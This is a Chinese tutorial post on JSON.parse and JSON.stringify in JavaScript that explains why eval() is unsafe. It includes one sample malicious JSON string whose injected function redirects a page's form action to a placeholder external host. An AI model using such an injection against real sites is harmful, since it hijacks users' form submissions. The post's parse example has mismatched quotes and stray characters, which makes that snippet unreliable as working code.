日期:2014-05-16  浏览次数:20360 次

JSON对象和字符串

JSON和字符串互转在ajax交互中经常用到,以前用过eval("("+jsonText+")") 把接收到的json格式字符串转换为JSON对象。但是用eval()函数存在安全漏洞,因为eval()函数可以解释任何的javascript代码。比如下面的例子:

假设返回的JSON字符串为“[1,2,(function(){document.forms[0].action='http://www.xxx.com/x.aspx'})(),3]”通过eval()函数后就会被执行,页面的第一个表单的action会被恶意修改。

使用JSON对象的stringify()方法和parse()方法可以很好的将两者进行转换 ,不过IE6/7不支持这两个方法。可以引用一个json.js的库解决IE6/7的问题。

其中parse()接收两个参数:json文本和一个可选的过滤函数。过滤函数可以删除或修改对应的key值,针对某个键返回undefined 就会从结果对象中移除该键。

eg:

? ? ?var jsonText ="{\"name\":\"jone\",\"age\":25,"addr":"xxx"}";

? ? ?var jsonObj = JSON.parse(jsonText,function(key,value){

switch(key){

case "name" : return value+"s";

case "age" : return value + 1;

case "addr" : return undefined;

default : return value;

}

})


stringify()返回未经缩进的JSON字符串。

eg:

JSON.stringify(jsonObj?);

json.js下载地址:https://github.com/douglascrockford/JSON-js